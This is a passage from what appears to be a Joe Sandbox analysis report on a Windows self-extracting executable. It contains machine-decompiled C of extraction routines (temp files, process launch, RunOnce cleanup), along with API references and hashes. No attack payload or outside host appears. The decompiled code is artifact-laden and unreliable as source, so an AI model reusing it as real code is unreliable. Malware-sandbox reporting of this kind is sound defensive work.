CloseHandle.KERNEL32(00000000,?,003D5534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D595C
GetFileAttributesA.KERNELBASE(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,003D5534,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 003D5963

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D58CD, 003D58CF, 003D5919, 003D5962
TMP4351$.TMP, xrefs: 003D5923

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-3788082193
Opcode ID: 3e00bda287b35912ed71af9d36709761aadec67a5057c092d36dc8a92febeba4
Instruction ID: 747b23929e04c02dc98c836dc86a016c5e656653c3bb61662c00446acf1fc385
Opcode Fuzzy Hash: 3e00bda287b35912ed71af9d36709761aadec67a5057c092d36dc8a92febeba4
Instruction Fuzzy Hash: 1311D0736016206BC7265F7ABC4EB9B7B9DEF46360F104617B51AD6391CB70980586A0

Uniqueness

Uniqueness Score: -1.00%

Function 003D3FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E003D3FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E003D6CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x3d9124 = E003D6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E003D44B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x3d8a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x3d9a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x3d9a2c = _t44;
						}
					}
				}
				E003D411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x3d9a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x003d3fef
0x003d3ffa
0x003d4001
0x003d4008
0x003d400a
0x003d400b
0x003d4010
0x003d410a
0x003d411a
0x003d411a
0x003d401c
0x003d401d
0x003d401e
0x003d401f
0x003d4033
0x003d403b
0x003d40ca
0x003d40e9
0x003d40f8
0x003d4101
0x003d4106
0x003d4106
0x003d4108
0x003d4108
0x00000000
0x003d4108
0x003d4049
0x003d405c
0x003d4062
0x003d4068
0x003d406e
0x003d4070
0x003d4077
0x003d407f
0x003d4089
0x003d408b
0x003d408b
0x003d4089
0x003d4077
0x003d4091
0x003d409c
0x003d40a8
0x003d40b8
0x00000000
0x003d40c2
0x00000000
0x003d40c2

APIs

CreateProcessA.KERNELBASE ref: 003D4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 003D4049
GetExitCodeProcess.KERNELBASE ref: 003D405C
CloseHandle.KERNEL32(?), ref: 003D409C
CloseHandle.KERNEL32(?), ref: 003D40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 003D40DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 003D40E9

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 007710367998de4b3b1279225c007154dcac2d74c8506d67d22cb3d53be0d83e
Instruction ID: 38bff6f28d49fc6d7661bcefe2d264421629164b21332b04497bd177de15a8b1
Opcode Fuzzy Hash: 007710367998de4b3b1279225c007154dcac2d74c8506d67d22cb3d53be0d83e
Instruction Fuzzy Hash: 1F31B472642618ABEB229F65FC49FABB77CEB94700F1001ABF545D6261C6308D85CB11

Uniqueness

Uniqueness Score: -1.00%

Function 003D51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E003D51E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E003D468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E003D468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E003D44B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0x3d9124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0x3d9124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E003D44B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0x3d9124 = 0x80070714;
					goto L10;
				}
				E003D44B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x3d9124 = E003D6285();
				goto L10;
			}

0x003d51fb
0x003d5207
0x003d520b
0x003d523c
0x003d5268
0x003d5270
0x003d528b
0x003d5293
0x003d529c
0x003d52a6
0x003d52b0
0x00000000
0x003d52b0
0x003d529e
0x003d5279
0x00000000
0x003d527b
0x003d5273
0x00000000
0x003d5273
0x003d524a
0x003d5250
0x003d5256
0x00000000
0x003d5256
0x003d5219
0x003d5223
0x00000000

APIs

Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
Part of subcall function 003D468F: SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
Part of subcall function 003D468F: LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
Part of subcall function 003D468F: LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
Part of subcall function 003D468F: memcpy_s.MSVCRT ref: 003D46E5
Part of subcall function 003D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,003D2F4D,?,00000002,00000000), ref: 003D5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 003D5250

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Part of subcall function 003D6285: GetLastError.KERNEL32(003D5BBC), ref: 003D6285

Strings

UPROMPT, xrefs: 003D51EF, 003D5230
<None>, xrefs: 003D5262

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 543654f6f59e2ddda130ad9fc88743b554e297defc03b2ce5be17661e5b3bddc
Instruction ID: 2d439bda4b814fbf92bb2db79ed389096e89dd703affd58bac59d5ade1fdd7c9
Opcode Fuzzy Hash: 543654f6f59e2ddda130ad9fc88743b554e297defc03b2ce5be17661e5b3bddc
Instruction Fuzzy Hash: 0211C8772026017BD3176BB1BD46F3B72ADEB89350F11482BF642D9790DA798C054124

Uniqueness

Uniqueness Score: -1.00%

Function 003D52B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E003D52B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0x3d91e0; // 0x2b58300
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0x3d8a24 == 0 &&  *0x3d9a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0x3d8a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0x3d8a24 == 0 &&  *0x3d9a30 == 0) {
					_push(_t22);
					E003D1781( &_v268, 0x104, _t22, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
					if(( *0x3d9a34 & 0x00000020) != 0) {
						E003D65E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E003D2390( &_v268);
					_t11 =  *0x3d8a20; // 0x0
				}
				if( *0x3d9a40 != 1 && _t11 != 0) {
					_t11 = E003D1FE1(_t22); // executed
				}
				 *0x3d8a20 =  *0x3d8a20 & 0x00000000;
				return E003D6CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x003d52b6
0x003d52b6
0x003d52b6
0x003d52c1
0x003d52c8
0x003d52cb
0x003d52cc
0x003d52d4
0x003d52d6
0x003d52d7
0x003d52de
0x003d52e0
0x003d52f2
0x003d52fa
0x003d52fa
0x003d5302
0x003d5305
0x003d530c
0x003d5312
0x003d5316
0x003d5316
0x003d5317
0x003d531c
0x003d531f
0x003d5333
0x003d5345
0x003d5351
0x003d5359
0x003d5359
0x003d5363
0x003d5369
0x003d536f
0x003d5374
0x003d5374
0x003d5381
0x003d5387
0x003d5387
0x003d538f
0x003d53a0

APIs

SetFileAttributesA.KERNELBASE(02B58300,00000080,?,00000000), ref: 003D52F2
DeleteFileA.KERNELBASE(02B58300), ref: 003D52FA
LocalFree.KERNEL32(02B58300,?,00000000), ref: 003D5305
LocalFree.KERNEL32(02B58300), ref: 003D530C
SetCurrentDirectoryA.KERNELBASE(003D11FC,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 003D5363

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D5334

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-1955631000
Opcode ID: 99f9aaf07a33bc60e95c22cc5f8d8485b5d4357cf71433f437ad5c7a34041428
Instruction ID: c5e48ecddcea2d82ac29a53068a3e1600b4b917c7491cbcf0b71e710ba2abae4
Opcode Fuzzy Hash: 99f9aaf07a33bc60e95c22cc5f8d8485b5d4357cf71433f437ad5c7a34041428
Instruction Fuzzy Hash: EB218E37912A14DFDB239F24FD09B6977A8BB14751F05015BE882563A0CFB46D98CB80

Uniqueness

Uniqueness Score: -1.00%

Function 003D1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D1FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0x3d8530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup0"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x003d1fee
0x003d2005
0x003d200d
0x003d2017
0x00000000
0x003d2020
0x003d200d
0x003d2029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,003D538C,?,?,003D538C), ref: 003D2005
RegDeleteValueA.KERNELBASE(003D538C,wextract_cleanup0,?,?,003D538C), ref: 003D2017
RegCloseKey.ADVAPI32(003D538C,?,?,003D538C), ref: 003D2020

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 003D1FFB
wextract_cleanup0, xrefs: 003D1FE7, 003D200F

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: a0ca5cd15a7c5ddc84c575dc7f20b68439bec42985a3b2087f5adc44b97b6ff4
Instruction ID: 53f7f9aea2f92bbd19114d7b187a8e9a94504dd545a48e1c66ab58a621354bdc
Opcode Fuzzy Hash: a0ca5cd15a7c5ddc84c575dc7f20b68439bec42985a3b2087f5adc44b97b6ff4
Instruction Fuzzy Hash: A0E08632951318BBD7238F90FD0AF5A7B2EFB01740F100297F904A0160EB716E14E605

Uniqueness

Uniqueness Score: -1.00%

Function 003D4CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E003D4CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0x3d8004; // 0xf4fc83b5
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0x3d91d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E003D4E99(_t75);
						L35:
						return E003D6CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0x3d8584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0x3d91e4;
						_t58 = 0x3d91e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0x3d91e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0x3d91e4;
						_t30 = E003D4702( &_v268, 0x3d91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E003D476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E003D4980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E003D47E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0x3d93f4 =  *0x3d93f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0x3d91e4;
						_t63 = 0x3d91e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0x3d91e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0x3d91e4;
						_t30 = E003D4702( &_v268, 0x3d91e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E003D4C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E003D4B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E003D4B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x003d4cd0
0x003d4cdb
0x003d4ce0
0x003d4ce2
0x003d4cee
0x003d4cf2
0x003d4d0e
0x003d4d0e
0x003d4d11
0x003d4e83
0x003d4e88
0x003d4e98
0x003d4e98
0x003d4d17
0x003d4d17
0x003d4d1a
0x003d4d2f
0x003d4d2f
0x00000000
0x003d4d2f
0x003d4d1c
0x003d4d1c
0x003d4d1f
0x003d4dcb
0x003d4dd0
0x003d4dd2
0x003d4ddd
0x003d4ddd
0x003d4de3
0x003d4de8
0x003d4ded
0x003d4ded
0x003d4def
0x003d4df0
0x003d4df0
0x003d4df4
0x003d4df4
0x003d4df6
0x003d4df9
0x003d4dfc
0x003d4dfc
0x003d4dfe
0x003d4dff
0x003d4dff
0x003d4e03
0x003d4e08
0x003d4e0a
0x003d4e0f
0x003d4d03
0x003d4d03
0x00000000
0x003d4d03
0x003d4e18
0x003d4e20
0x003d4e25
0x003d4e27
0x00000000
0x00000000
0x003d4e33
0x003d4e38
0x003d4e3a
0x00000000
0x00000000
0x003d4e40
0x003d4e51
0x003d4e56
0x003d4e5b
0x003d4e5e
0x00000000
0x00000000
0x003d4e6a
0x003d4e6f
0x003d4e71
0x00000000
0x00000000
0x003d4e77
0x003d4e7d
0x00000000
0x003d4e7d
0x003d4d25
0x003d4d25
0x003d4d28
0x003d4d36
0x003d4d3b
0x003d4d40
0x003d4d40
0x003d4d42
0x003d4d43
0x003d4d43
0x003d4d47
0x003d4d4a
0x003d4d4a
0x003d4d4c
0x003d4d4f
0x003d4d4f
0x003d4d51
0x003d4d52
0x003d4d52
0x003d4d56
0x003d4d5b
0x003d4d5d
0x003d4d62
0x00000000
0x00000000
0x003d4d67
0x003d4d6f
0x003d4d74
0x003d4d76
0x00000000
0x00000000
0x003d4d7c
0x003d4d84
0x003d4d89
0x003d4d8b
0x00000000
0x00000000
0x003d4d94
0x003d4d99
0x003d4d9e
0x003d4da1
0x003d4daa
0x003d4daa
0x003d4da3
0x003d4da3
0x003d4da3
0x003d4db5
0x003d4dbb
0x003d4dbd
0x00000000
0x003d4dc3
0x003d4dc5
0x00000000
0x003d4dc5
0x003d4dbd
0x003d4d2a
0x003d4d2a
0x003d4d2d
0x00000000
0x00000000
0x00000000
0x003d4d2d
0x003d4cf8
0x003d4cfd
0x003d4d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 003D4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 003D4DDD

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 003D4D36, 003D4DE3

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-1955631000
Opcode ID: 05a9a8556d7bc5c462f357a70929462e6e1e8964c88e9acda87d8c86824f4606
Instruction ID: 38936d8eca2baf7a8319f440c7c9c71edce1a32be0e855960d1ee92b25eb1b2f
Opcode Fuzzy Hash: 05a9a8556d7bc5c462f357a70929462e6e1e8964c88e9acda87d8c86824f4606
Instruction Fuzzy Hash: E841F3372001019BCB379F38FD546B573AAEB45300F05466BE8D69B786DA31DE5AC790

Uniqueness

Uniqueness Score: -1.00%

Function 003D4C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E003D4C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x3d8d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x3d8d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x003d4c40
0x003d4c4a
0x003d4c8d
0x00000000
0x003d4c70
0x003d4c70
0x003d4c7e
0x003d4c86
0x00000000
0x00000000
0x00000000
0x003d4c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 003D4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 003D4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 003D4C7E

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 88427d75adfc867e307a433d40a30f4e9579d063b2b1561418b04d9c0b6132b4
Instruction ID: 1d5152aa3b96abc7bd20280f5ca67471eb849044ebb638b5ebf56c9d2565082c
Opcode Fuzzy Hash: 88427d75adfc867e307a433d40a30f4e9579d063b2b1561418b04d9c0b6132b4
Instruction Fuzzy Hash: E0F0907361220DBF9B26DFB5ED49DBB77ADEB04340B44062BB816C2190FA30E914D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 003D487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E003D487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E003D490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x003d4880
0x003d488c
0x003d4894
0x003d48a0
0x003d48c9
0x003d48ce
0x003d48a2
0x003d48a8
0x003d48b7
0x003d48bc
0x003d48aa
0x003d48ac
0x003d48ac
0x003d48a8
0x003d48de
0x003d48e7
0x003d490b
0x003d48ee
0x003d48f0
0x00000000
0x003d4902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,003D4A23,?,003D4F67,*MEMCAB,00008000,00000180), ref: 003D48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,003D4F67,*MEMCAB,00008000,00000180), ref: 003D4902

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
